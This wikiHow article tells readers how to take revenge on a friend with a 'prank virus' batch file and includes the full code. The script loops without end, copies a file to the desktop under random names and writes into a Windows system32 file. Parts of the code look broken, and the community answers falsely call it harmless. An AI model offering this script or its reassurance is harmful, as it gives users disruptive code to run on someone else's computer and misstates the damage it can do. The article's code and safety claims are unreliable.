X
wikiHow is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 38 people, some anonymous, worked to edit and improve it over time.
This article has been viewed 126,576 times.
Learn more...
Have you ever wanted to take revenge on a friend, perhaps for something they did or just getting back at them for being mean to you? If you're stuck in this scenario, this wikiHow is for you. This wikiHow will teach you to make a prank virus, step by step.
Things You Should Know
- Create your fake virus in a Notepad file.
- Enter the code into your Notepad file and type “goto1” at the end to create a string of never-ending text.
- Save the file as “virus.bat” and enjoy your clever prank.
Steps
-
1Open notepad
-
2Type the following code in:
-
@echo off -
echo checking system: -
echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i #*>c:\windows\system32\autoexec.NT -
echo VIRUS DETECTED -
Pause -
echo DELETING VIRUS -
pause -
:1 -
dir /s -
copy c:\tmp.bat -
c:\document~1\%username%\desktop\greatgame_%random%.bat - goto 1
Advertisement -
-
3This will create a never ending stream of mindless code. This cannot be stopped easily.
-
4Save the file as "virus.bat"
-
5Have fun!
Advertisement
Community Q&A
-
QuestionWill this prank damage my PC?Community AnswerNo, it won't harm your computer. You can stop the prank by pressing CTRL + C.
-
QuestionIs the virus harmful for me?Community AnswerNo. You simply must restart your computer to stop it.
-
QuestionCan I only make a prank virus in Windows?Community AnswerNo, there is other ways to do it in OSX and Linux, but it is slightly different
Advertisement
About This Article
Advertisement